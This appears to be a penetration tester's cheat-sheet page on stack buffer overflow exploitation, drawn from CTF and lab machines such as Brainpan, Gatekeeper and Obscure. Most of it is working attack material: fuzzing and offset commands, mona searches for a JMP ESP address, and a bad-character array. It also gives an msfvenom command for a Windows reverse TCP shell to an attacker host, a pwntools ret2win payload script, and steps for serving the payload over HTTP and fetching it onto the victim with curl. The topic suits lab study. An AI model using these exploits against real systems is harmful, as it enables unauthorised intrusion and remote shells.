Buffer Overflow

Windows

Examples

Buffer Overflow Prep Brainstorm Gatekeeper Brainpan 1

Crash Replication & Controlling EIP

Run fuzzer against program to find how many bytes it takes to crash the program.

Option #1

Kali

python fuzzer.py $VICTIM $VICTIMPORT

Option #2

Kali

python -c 'print("A"* 3000)'
nc -v $TESTMACHINE 9999

Run following command and add output to your buffer in your exploit program.

Option #1

Kali

 msf-pattern_create -l $bytesToCrashProgram

Option #2

I then used pattern_create to make my payload and then added to my new script exploit.py

/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l $bytesToCrashProgram

Run the exploitable program within Immunity Debugger with your updated exploit code. then you could be able to find the EIP offset. Update your code to have this many As be sent. Then add 4 Bs and remove the output from msf-pattern_create. Rerun again and the EIP should be set as your Bs(42424242)

Immunity Debugger

!mona findmsp -distance $bytesToCrashProgram

Finding Bad Characters

Bad Chars #1

badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Bad Chars #2

badChars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Finding a Jump Point

Now we need to find a place to jump to to run our payload. We find there is only one place that will meets our conditions that we need which is an address with SafeSEH, ASLR, and NXCompat disabled and the memory address doesn't start with 0x00. ex: 0x0040000 won't work, 0x100000 will work. essfunc.dll meets this criteria.

Immunity Debugger

!mona modules

Immunity Debugger

!mona find -s "\xff\xe4" -m $DLL.dll

Exploit

Now that we have the return address to use, we just need to generate our payload without using the bad characters found previously. I also added 16 NOPs before the payload as suggested in the room. All that is left is to is to update our code with our payload and run it against the program.

msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Linux

Examples

Obscure

Crash Replication & Controlling EIP

Kali

cyclic 256

Kali

gdb ret

Kali(gdb)

This tells us it crashes after 136 characters

Kali

cyclic -l 0x6261616a

We see the win function is located at 0x400646

Kali

objdump -t ret

Confirmed it crashes after 136.

Kali

python -c 'print("A"* 137)' | ./ret

I wanted to confirm it would crash where we expected so I added the program into a for loop

payload.py - version 2

from pwn import *
import subprocess

for i in range(130, 140):
	payload = b'A'*i + p64(0x400646)
	print ("Current value: " + str(i))

	f = open('/root/payload.bin', 'wb')
	f.write(payload)
	f.close
	os.system("(cat payload.bin; cat) | ./ret")

We can see 137 did work on our local box and got us to the win function when adding it's address to the script

Kali

python payload.py

Now to create our payload and send it to the victim

payload.py - version 2

from pwn import *

payload = b'A'*136 + p64(0x400646)

f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close

Testing that the payload still works on our local machine.

Kali

(cat payload.bin; cat) | ./ret

Kali

python2 -m SimpleHTTPServer 82

We are root but only within the docker container.

Victim

cd /tmp
curl http://$KALI:82/payload.bin -o payload.bin
(cat payload.bin; cat) | /ret

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Last updated 11 months ago